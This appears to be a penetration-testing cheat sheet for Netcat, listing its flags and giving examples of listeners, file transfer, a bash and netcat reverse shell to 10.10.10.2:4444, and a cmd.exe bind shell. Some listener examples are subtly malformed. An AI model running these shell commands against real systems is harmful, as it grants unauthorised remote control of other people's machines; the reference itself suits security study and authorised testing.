Netcat

Netcat, arbitrary TCP and UDP connections and listens.

Binary for Windows

  • nc.exe (58 kb)
    • SHA256 ’nc.exe’ - be4211fe5c1a19ff393a2bcfa21dad8d0a687663263a63789552bda446d9421b

    Usage

    nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
    

    Flags

          [-m minttl] [-O length] [-P proxy_username] [-p source_port]
          [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
          [-X proxy_protocol] [-x proxy_address[:port]]       [destination] [port]
        Command Summary:
            -4      Use IPv4
            -6      Use IPv6
            -b      Allow broadcast
            -C      Send CRLF as line-ending
            -D      Enable the debug socket option
            -d      Detach from stdin
            -F      Pass socket fd
            -h      This help text
            -I length   TCP receive buffer length
            -i interval Delay interval for lines sent, ports scanned
            -k      Keep inbound sockets open for multiple connects
            -l      Listen mode, for inbound connects
            -M ttl      Outgoing TTL / Hop Limit
            -m minttl   Minimum incoming TTL / Hop Limit
            -N      Shutdown the network socket after EOF on stdin
            -n      Suppress name/port resolutions
            -O length   TCP send buffer length
            -P proxyuser    Username for proxy authentication
            -p port     Specify local port for remote connects
            -q secs     quit after EOF on stdin and delay of secs
            -r      Randomize remote ports
            -S      Enable the TCP MD5 signature option
            -s source   Local source address
            -T keyword  TOS value
            -t      Answer TELNET negotiation
            -U      Use UNIX domain socket
            -u      UDP mode
            -V rtable   Specify alternate routing table
            -v      Verbose
            -W recvlimit    Terminate after receiving a number of packets
            -w timeout  Timeout for connects and final net reads
            -X proto    Proxy protocol: "4", "5" (SOCKS) or "connect"
            -x addr[:port]  Specify proxy address and port
            -Z      DCCP mode
            -z      Zero-I/O mode [used for scanning]
        Port numbers can be individual or ranges: lo-hi [inclusive]
    

    Examples

    Create a Netcat listener

    This listener will listen on specific IP and port. IP can be removed if any interface is needed.

    nc -lvp 10.10.10.2 80
    

    Transferring files

    Receiver

    nc -nlvp 10.10.10.2 4444 > incomming.exe
    

    Sender

    nc -nv 10.10.10.2 4444 < /Downloads/wget.exe
    

    Reverse Shell

    Receiver:

    nc -nlvp 10.10.10.2 4444
    

    Identity connecting and sending the reverse shell:

    bash -i >& /dev/tcp/10.10.10.2/4444 0>&1
    

    OR identity connecting and sending the reverse shell:

    nc 10.10.10.2 4444 -e /bin/sh
    

    Bind Shell

    Receiver:

    nc -nlvp 4444 -e cmd.exe
    

    Identity connecting to bind shell::

    nc -nv <ip> 4444
    

    URL list